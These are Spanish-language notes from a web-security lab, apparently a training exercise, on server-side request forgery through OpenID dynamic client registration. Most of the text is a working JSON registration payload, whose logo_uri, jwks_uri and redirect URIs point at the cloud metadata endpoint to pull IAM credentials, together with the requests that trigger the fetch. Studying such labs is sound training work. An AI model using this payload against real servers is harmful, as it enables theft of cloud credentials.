2 - SSRF via OpenID dynamic client registration
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
/.well-known/jwks.json
Para saber si se está usando openid tiene que estar en el scope.
Además se tiene que recibir en la respuesta un id_token.
En este lab /openid/register está expuesto y es posible usarlo para registrar a un cliente (aplicación que quiere usar el servicio de oauth) con logo_uri ,jwks_uri y redirect_uris maliciosas, que apunten a servicios internos -> SSRF
Estamos ante Authorization Code Grant Type (response_type=code) :
Accedemos a https://oauth-0aba000a03d782bf807db517023200c5.oauth-server.net/.well-known/openid-configuration
Nos tira que el endpoint de registro está en https://oauth-0aba000a03d782bf807db517023200c5.oauth-server.net/reg
Enviamos un POST con este body
{
"application_type": "web",
"redirect_uris": [
"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
],
"client_name": "Example OIDC Client",
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/",
"token_endpoint_auth_method": "client_secret_basic",
"grant_types": ["authorization_code", "refresh_token"],
"response_types": ["code"],
"scope": "openid email profile",
"jwks_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/",
"userinfo_signed_response_alg": "RS256",
"id_token_signed_response_alg": "RS256"
}
Con este hemos creado un nuevo cliente, podemos loguearnos a ese cliente :
https://oauth-0aba000a03d782bf807db517023200c5.oauth-server.net/auth?client_id=kzkmrumn1lo2041pfbjtr&redirect_uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/&response_type=code&scope=openid%20profile%20email
Para que nos cargue el loco internamente al confirmar el login en opeind .
O podemos acceder al logo del cliente directamente :
GET /client/CLIENT-ID/logo